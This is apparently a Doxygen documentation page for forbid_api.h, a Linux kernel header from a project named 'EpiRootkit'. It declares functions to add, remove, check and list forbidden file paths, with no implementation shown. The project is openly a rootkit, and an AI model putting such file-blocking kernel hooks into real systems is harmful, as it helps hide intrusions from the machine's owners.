EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
forbid_api.h
Go to the documentation of this file.
1#ifndef FORBID_API_H
2#define FORBID_API_H
3
4#include <linux/dcache.h>
5#include <linux/err.h>
6#include <linux/errno.h>
7#include <linux/limits.h>
8#include <linux/module.h>
9#include <linux/namei.h>
10#include <linux/slab.h>
11#include <linux/types.h>
12
13int forbid_init(void);
14void forbid_exit(void);
15int forbid_file(const char *path);
16int unforbid_file(const char *path);
17int forbid_contains(const char __user *u_path);
18int forbid_contains_str(const char *k_path);
19int forbid_list_get(char *buf, size_t buf_size);
20
21#endif /* FORBID_API_H */
int forbid_file(const char *path)
Definition forbid_api.c:24
int unforbid_file(const char *path)
Definition forbid_api.c:51
int forbid_contains(const char __user *u_path)
Definition forbid_api.c:81
int forbid_list_get(char *buf, size_t buf_size)
Definition forbid_api.c:106
void forbid_exit(void)
Definition forbid_api.c:19
int forbid_contains_str(const char *k_path)
Definition forbid_api.c:102
int forbid_init(void)
Definition forbid_api.c:8